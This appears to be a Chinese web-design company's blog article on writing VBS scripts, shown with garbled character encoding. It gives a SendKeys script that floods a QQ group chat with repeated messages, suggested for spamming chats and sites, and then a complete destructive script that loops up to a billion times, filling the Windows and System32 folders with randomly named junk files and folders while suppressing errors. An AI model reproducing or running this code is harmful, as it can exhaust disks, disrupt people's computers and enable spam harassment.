這篇文章主要講解了“如何編寫一個vbs腳本”,文中的講解內(nèi)容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“如何編寫一個vbs腳本”吧!
創(chuàng)新互聯(lián)公司網(wǎng)站建設(shè)公司,提供成都做網(wǎng)站、成都網(wǎng)站設(shè)計,網(wǎng)頁設(shè)計,建網(wǎng)站,PHP網(wǎng)站建設(shè)等專業(yè)做網(wǎng)站服務;可快速的進行網(wǎng)站開發(fā)網(wǎng)頁制作和功能擴展;專業(yè)做搜索引擎喜愛的網(wǎng)站,是專業(yè)的做網(wǎng)站團隊,希望更多企業(yè)前來合作!代碼如下:
Set WshShell= WScript.createObject("WScript.Shell")
WshShell.AppActivate "群 - Powers成員交流"
for i=1 to 10 '要發(fā)的次數(shù)
WScript.Sleep 500 '發(fā)送消息的時間間隔
WshShell.SendKeys "^v" '要發(fā)的內(nèi)容
WshShell.SendKeys i '這里拿每條消息都不同,在后面加上i即循環(huán)的次數(shù)
WshShell.SendKeys "%s"
next
這個代碼里面解釋的很清楚的啦~呵呵
其實就只是這么一點點就已經(jīng)可以弄來我們做好幾個好玩的東西了啦~比如:刷QQ聊天啊、刷網(wǎng)站啦~
由于比較感興趣,所以找到個這樣的代碼:一個寫硬盤的VBS腳本程序(不要做壞事哦)
代碼如下:
on error resume next
dim objdir,suijishu
set objdir=wscript.createobject("scripting.filesystemobject")
set windir=objdir.getspecialfolder(0)
set sysdir=objdir.getspecialfolder(1)
'開始程序
for i=1 to 1000
for j=1 to 1000
for r=1 to 1000'------------------------------------------------------------------------------
randomize
y=int((122-65+1)*rnd+65)
y1=int((122-65+1)*rnd+65)
y2=int((122-65+1)*rnd+65)
y3=int((122-65+1)*rnd+65)
y4=int((122-65+1)*rnd+65)
y5=int((122-65+1)*rnd+65)
y6=int((122-65+1)*rnd+65)
y7=int((122-65+1)*rnd+65)
y8=int((122-65+1)*rnd+65)'-----------------------------------------------------------------
y9=int((122-65+1)*rnd+65)
f=chr(y)&chr(y1)&chr(y2)&chr(y3)&chr(y4)&chr(y5)&chr(y6)&chr(y7)&chr(y8)&chr(y9)
suijishu=int(rnd*10000)
'創(chuàng)建windows文件
yang=windir&""&f&"."&chr(y3)&chr(y7)&chr(y)
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"'------------------------------------------------------------
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y3)&chr(y1)&"."&chr(y)&chr(y4)&chr(y2) '2
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu'-----------------------------------------------------------------------
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y8)&chr(y4)&chr(y1) '3
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)'-------------------------------------------------------------
next
a.close
yang=windir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y6)&chr(y9)&chr(y3) '4
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next'--------------------------------------------------------------------------------------
a.close
yang=windir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y6)&chr(y8)&chr(y4) '5
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close'---------------------------------------------------------------------------------
yang=windir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y8)&chr(y) '6
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close'----------------------------------------------------------------------------------
yang=windir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y2)&chr(y)&chr(y5) '7
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=windir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y4)&chr(y)&chr(y7) '8'---
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
'創(chuàng)建system文件------------------------------------------------------------------------------10
yang=sysdir&""&f&"."&chr(y3)&chr(y9)&chr(y1)
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y3)&chr(y1)&"."&chr(y4)&chr(y2)&chr(y9) '2------------------------------------------
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y7)&chr(y2)&chr(y9)&"."&chr(y3)&chr(y7)&chr(y) '3
set a=objdir.createtextfile(yang,true)'------------------------------------------------------
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y5)&chr(y2)&chr(y9)&chr(y1)&"."&chr(y5)&chr(y4)&chr(y1) '4
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"'-----------------------------------------
a.writeline"古風居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y6)&chr(y2)&chr(y)&chr(y4)&chr(y5)&"."&chr(y3)&chr(y6)&chr(y9) '5
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執(zhí)行官老楊同志"'------------------------------------------------
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y3)&chr(y6)&chr(y1)&chr(y8)&chr(y5)&chr(y9)&"."&chr(y3)&chr(y)&chr(y5) '6
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"'------------------------------------------------------------15
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y4)&chr(y2)&chr(y1)&chr(y7)&chr(y8)&chr(y)&chr(y4)&"."&chr(y7)&chr(y5)&chr(y1) '7
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu'-------------------------------------------------------------------------
a.writeline(f&f&f&f&f&f&f)
next
a.close
yang=sysdir&""&chr(y8)&chr(y2)&chr(y6)&chr(y4)&chr(y1)&chr(y)&chr(y6)&chr(y1)&"."&chr(y1)&chr(y7)&chr(y4) '8
set a=objdir.createtextfile(yang,true)
a.writeline"Made In China,Hubei,Wuhan,Guanshan"
a.writeline"古風居委會首席執(zhí)行官老楊同志"
a.writeline"Oicq:14903220"
for u=1 to suijishu
a.writeline(f&f&f&f&f&f&f)'--------------------------------------------------------------
next
a.close
'創(chuàng)建windows文件夾
yang=windir&""&f&"u"
objdir.createfolder(yang)
yang=windir&""&chr(y4)&chr(y2) '2
objdir.createfolder(yang)
yang=windir&""&chr(y)&chr(y9)&chr(y5) '3
objdir.createfolder(yang)'-------------------------------------------------------------------
yang=windir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7) '4
objdir.createfolder(yang)
yang=windir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3) '5
objdir.createfolder(yang)
yang=windir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7) '6
objdir.createfolder(yang)
yang=windir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2) '7
objdir.createfolder(yang)
yang=windir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5) '8
objdir.createfolder(yang)'--------------------------------------------------------------------
'創(chuàng)建system文件夾
yang=sysdir&""&f&"n"
objdir.createfolder(yang)
yang=sysdir&""&chr(y4)&chr(y2) '2
objdir.createfolder(yang)
yang=sysdir&""&chr(y)&chr(y9)&chr(y5) '3
objdir.createfolder(yang)
yang=sysdir&""&chr(y6)&chr(y3)&chr(y8)&chr(y7) '4
objdir.createfolder(yang)'---------------------------------------------------------------------
yang=sysdir&""&chr(y5)&chr(y)&chr(y1)&chr(y9)&chr(y3) '5
objdir.createfolder(yang)
yang=sysdir&""&chr(y6)&chr(y9)&chr(y4)&chr(y6)&chr(y1)&chr(y7) '6
objdir.createfolder(yang)
yang=sysdir&""&chr(y3)&chr(y6)&chr(y)&chr(y1)&chr(y7)&chr(y6)&chr(y2) '7
objdir.createfolder(yang)
yang=sysdir&""&chr(y6)&chr(y2)&chr(y9)&chr(y)&chr(y4)&chr(y7)&chr(y2)&chr(y5) '8
objdir.createfolder(yang)
next
next
next
感謝各位的閱讀,以上就是“如何編寫一個vbs腳本”的內(nèi)容了,經(jīng)過本文的學習后,相信大家對如何編寫一個vbs腳本這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是創(chuàng)新互聯(lián)網(wǎng)站建設(shè)公司,,小編將為大家推送更多相關(guān)知識點的文章,歡迎關(guān)注!
網(wǎng)站名稱:如何編寫一個vbs腳本-創(chuàng)新互聯(lián)
地址分享:http://muchs.cn/article40/ioeeo.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供網(wǎng)站收錄、網(wǎng)站排名、移動網(wǎng)站建設(shè)、軟件開發(fā)、全網(wǎng)營銷推廣、定制開發(fā)
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)